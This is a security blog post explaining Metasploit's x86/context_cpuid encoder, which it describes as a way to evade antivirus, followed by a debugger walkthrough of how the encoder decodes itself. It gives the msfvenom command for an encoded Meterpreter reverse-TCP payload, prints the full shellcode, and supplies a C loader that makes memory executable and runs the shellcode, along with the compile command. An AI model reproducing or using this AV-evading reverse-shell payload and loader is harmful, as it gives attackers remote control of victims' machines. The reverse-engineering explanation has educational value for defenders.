Welcome to Neehack Blogs

What is Context_CPUID and how does it work?


x86 Context CPUID

What is Context_CPUID in metasploit?

Context_CPUID is a an encoder that enables a threat actor to evade security detection tools or Anti-Viruses to be specific.

How does Context_CPUID encoder work?

Context_CPUID encoder uses the cpuid instruction to obtain the CPU information. This information then is scrambled with XORing operation and finally the scrambled CPU information is used as the key of another XOR operation to de-obfuscate the payload.

How to generate a payload encoded with Context_CPUID ?

To generate a payload encoded with Context_CPUID encoder, you can use msfvenom from metasploit as below:

msfvenom -p windows/meterpreter/reverse_tcp lhost=Your_IP lport=4443 -e x86/context_cpuid -f c

this should give you a result similar to:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/context_cpuid
x86/context_cpuid succeeded with size 395 (iteration=0)
x86/context_cpuid chosen with final size 395
Payload size: 395 bytes
Final size of c file: 1685 bytes
unsigned char buf[] = 
"\x31\xf6\x31\xff\x89\xf8\x31\xc9\x0f\xa2\x31\xc6\x39\xf0\x75"
"\x03\x8d\x78\x01\x31\xde\x31\xce\x31\xd6\x83\xef\x01\x75\xe6"
"\x89\xf0\xda\xd0\x33\xc9\xb1\x56\xd9\x74\x24\xf4\x5f\x83\xef"
"\xfc\x31\x47\x0f\x03\x47\x0f\xe2\xf5\xfc\xe7\x60\xf5\xfc\xf7"
"\x04\x7f\x19\xc6\x04\x1b\x69\x78\xb5\x6f\x3f\x74\x3e\x3d\xd4"
"\x0f\x32\xea\xdb\xb8\xf9\xcc\xd2\x39\x51\x2c\x74\xb9\xa8\x61"
"\x56\x80\x62\x74\x97\xc5\x9f\x75\xc5\x9e\xd4\x28\xfa\xab\xa1"
"\xf0\x71\xe7\x24\x71\x65\xbf\x47\x50\x38\xb4\x11\x72\xba\x19"
"\x2a\x3b\xa4\x7e\x17\xf5\x5f\xb4\xe3\x04\xb6\x85\x0c\xaa\xf7"
"\x2a\xff\xb2\x30\x8c\xe0\xc0\x48\xef\x9d\xd2\x8e\x92\x79\x56"
"\x15\x34\x09\xc0\xf1\xc5\xde\x97\x72\xc9\xab\xdc\xdd\xcd\x2a"
"\x30\x56\xe9\xa7\xb7\xb9\x78\xf3\x93\x1d\x21\xa7\xba\x04\x8f"
"\x06\xc2\x57\x70\xf6\x66\x13\x9c\xe3\x1a\x7e\xc8\xc0\x16\x81"
"\x08\x4f\x20\xf2\x3a\xd0\x9a\x9c\x76\x99\x04\x5a\x0f\x8d\xb6"
"\xb4\xb7\xde\x48\x35\xc7\xf7\x8e\x61\x97\x6f\x26\x0a\x7c\x70"
"\xc7\xdf\xe8\x7a\x5f\x20\x44\x78\xfe\xc8\x96\x7d\x11\x52\x1f"
"\x9b\x41\x34\x4f\x34\x22\xe4\x2f\xe4\xca\xee\xa0\xdb\xeb\x10"
"\x6b\x74\x81\xfe\xc5\x2c\x3e\x66\x4c\xa6\xdf\x67\x5b\xc2\xe0"
"\xec\x69\x32\xae\x04\x18\x20\xc7\x72\xe2\xb8\x18\x17\xe2\xd2"
"\x1c\xb1\xb5\x4a\x1f\xe4\xf1\xd4\xe0\xc3\x82\x13\x1e\x92\xb2"
"\x68\x29\x00\xfa\x06\x56\xc4\xfa\xd6\x00\x8e\xfa\xbe\xf4\xea"
"\xa9\xdb\xfa\x26\xde\x77\x6f\xc9\xb6\x24\x38\xa1\x34\x12\x0e"
"\x6e\xc7\x71\x0c\x69\x37\x07\x3b\xd2\x5f\xf7\x7b\xe2\x9f\x9d"
"\x7b\xb2\xf7\x6a\x53\x3d\x37\x92\x7e\x16\x5f\x19\xef\xd4\xfe"
"\x1e\x3a\xb8\x5e\x1e\xc9\x61\x51\x65\xa2\x96\x92\x9a\xaa\xf2"
"\x93\x9a\xd2\x04\xa8\x4c\xeb\x72\xef\x4c\x48\x8c\x5a\xf0\xf9"
"\x07\xa4\xa6\xfa\x0d";

Notice the line on the output “Attempting to encode payload with 1 iterations of x86/context_cpuid” which means that x86/context_cpuid encoder was chosen to encode this payload.

x86/context_cpuid is a x32 bit encoder, so you will have to embed it in a 32bit program. If you are using gcc to compile your payload make sure that you use 32 bit gcc, otherwise if you embed a 32 bit payload into a x64 bit program, it will simply not work. But if the program is 32 bit, you shouldn’t have a problem running it in a x64 bit OS, as the x64 bit OSes comes with the compatibility of running x32 bit programs.

x86_context_cpuid.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char x86_context_cpuid[] = 
"\x31\xf6\x31\xff\x89\xf8\x31\xc9\x0f\xa2\x31\xc6\x39\xf0\x75"
"\x03\x8d\x78\x01\x31\xde\x31\xce\x31\xd6\x83\xef\x01\x75\xe6"
"\x89\xf0\xda\xd0\x33\xc9\xb1\x56\xd9\x74\x24\xf4\x5f\x83\xef"
"\xfc\x31\x47\x0f\x03\x47\x0f\xe2\xf5\xfc\xe7\x60\xf5\xfc\xf7"
"\x04\x7f\x19\xc6\x04\x1b\x69\x78\xb5\x6f\x3f\x74\x3e\x3d\xd4"
"\x0f\x32\xea\xdb\xb8\xf9\xcc\xd2\x39\x51\x2c\x74\xb9\xa8\x61"
"\x56\x80\x62\x74\x97\xc5\x9f\x75\xc5\x9e\xd4\x28\xfa\xab\xa1"
"\xf0\x71\xe7\x24\x71\x65\xbf\x47\x50\x38\xb4\x11\x72\xba\x19"
"\x2a\x3b\xa4\x7e\x17\xf5\x5f\xb4\xe3\x04\xb6\x85\x0c\xaa\xf7"
"\x2a\xff\xb2\x30\x8c\xe0\xc0\x48\xef\x9d\xd2\x8e\x92\x79\x56"
"\x15\x34\x09\xc0\xf1\xc5\xde\x97\x72\xc9\xab\xdc\xdd\xcd\x2a"
"\x30\x56\xe9\xa7\xb7\xb9\x78\xf3\x93\x1d\x21\xa7\xba\x04\x8f"
"\x06\xc2\x57\x70\xf6\x66\x13\x9c\xe3\x1a\x7e\xc8\xc0\x16\x81"
"\x08\x4f\x20\xf2\x3a\xd0\x9a\x9c\x76\x99\x04\x5a\x0f\x8d\xb6"
"\xb4\xb7\xde\x48\x35\xc7\xf7\x8e\x61\x97\x6f\x26\x0a\x7c\x70"
"\xc7\xdf\xe8\x7a\x5f\x20\x44\x78\xfe\xc8\x96\x7d\x11\x52\x1f"
"\x9b\x41\x34\x4f\x34\x22\xe4\x2f\xe4\xca\xee\xa0\xdb\xeb\x10"
"\x6b\x74\x81\xfe\xc5\x2c\x3e\x66\x4c\xa6\xdf\x67\x5b\xc2\xe0"
"\xec\x69\x32\xae\x04\x18\x20\xc7\x72\xe2\xb8\x18\x17\xe2\xd2"
"\x1c\xb1\xb5\x4a\x1f\xe4\xf1\xd4\xe0\xc3\x82\x13\x1e\x92\xb2"
"\x68\x29\x00\xfa\x06\x56\xc4\xfa\xd6\x00\x8e\xfa\xbe\xf4\xea"
"\xa9\xdb\xfa\x26\xde\x77\x6f\xc9\xb6\x24\x38\xa1\x34\x12\x0e"
"\x6e\xc7\x71\x0c\x69\x37\x07\x3b\xd2\x5f\xf7\x7b\xe2\x9f\x9d"
"\x7b\xb2\xf7\x6a\x53\x3d\x37\x92\x7e\x16\x5f\x19\xef\xd4\xfe"
"\x1e\x3a\xb8\x5e\x1e\xc9\x61\x51\x65\xa2\x96\x92\x9a\xaa\xf2"
"\x93\x9a\xd2\x04\xa8\x4c\xeb\x72\xef\x4c\x48\x8c\x5a\xf0\xf9"
"\x07\xa4\xa6\xfa\x0d";

int main(){
	DWORD oldprot;
	if ((VirtualProtect((int *)0x00403020,1,PAGE_EXECUTE_READWRITE,&oldprot) == FALSE) )
    {
        printf("our vprot failed\n");
        return FALSE;
    }
	(*(void (*)()) x86_context_cpuid)();	
	return 0;
}

`VirtualProtect` funtion above, is going to enable read,write and execute permission on this program. Either you do this, or disable DEP.

You can compile this as below:

mingw32-gcc.exe path/to/x86_context_cpuid.c -o path/to/x86_context_cpuid.exe

Time to load it in IDA and disassemble the payload.

x86/Context CPUID in IDA

The important part in the disassembler above, is the line “call eax; _x86_context_cpuid”. EAX at this point is basically a pointer that points to our payload. So, you can set a breakpoint on this line and run the program.

As soon as the breakpoint is hit, by stepping into it, we can see that at this point we are indeed inside our payload:

The import part of x86 Context CPUID is the CPU instruction “cpuid” show with the red arrow above. This instruction basically returns processor identification and feature information to the EAX, EBX, ECX, and EDX registers, according to the input value entered initially in the EAX register.

Memory registers before “cpuid” instruction:

Memory registers before cpuid

Memory registers after “cpuid” instruction:

Memory registers after cpuid instruction

You can see that once we executed the cpuid instruction the value of EAX, EBX, ECX and EDX updated.

Since ebx, ecx, and edx looks like data, converting it to python string, the registers contain:

>>> print("\x68\x74\x75\x41"[::-1]) # EBX
Auth
>>> print("\x44\x4d\41\63"[::-1])   # ECX
3!MD
>>> print("\x69\x74\x6e\x65"[::-1]) # EDX
enti

Next, we can see that the values returned by cpuid instruction is XORed by the value of ESI/0x11.

cpuid xored by 0x11

Converting the register to ascii letters contain below after xoring:

>>> print("\x68\x74\x75\x41"[::-1]) # EBX
Auth
>>> print("\x44\x4d\x41\x63"[::-1]) # ECX
cAMD
>>> print("\x69\x74\x6e\x65"[::-1]) # EDX
enti
>>> print("\x45\x4d\x5a\x57"[::-1]) # ESI
WZME

The next important part of the x86/context_CPUID encoder is the XORing part below.

Note: at this point, because IDA were unable to write to memory address 0x0040404E, I had to restart the program, and let it run until the new breakpoint at 0x0040404E

x86 context cpuid xoring

XORing is a bit wise operation used here to de-obfuscate the payload. x86_context_cpuid encoder used the CPU “cpuid” instruction to obtain the CPU information which then it is scrambled a few times (0x11 times) and is used as the key or XORing operation above.

The payload before the XOR:

ESP before de-obfuscation

After the first XOR operation:

After xor operation

We can see that the 4 selected bytes in gray or the bytes in the address 0x00404053 have changed. The same process is followed to de-obfuscate the complete payload.


Leave a Reply

Your email address will not be published.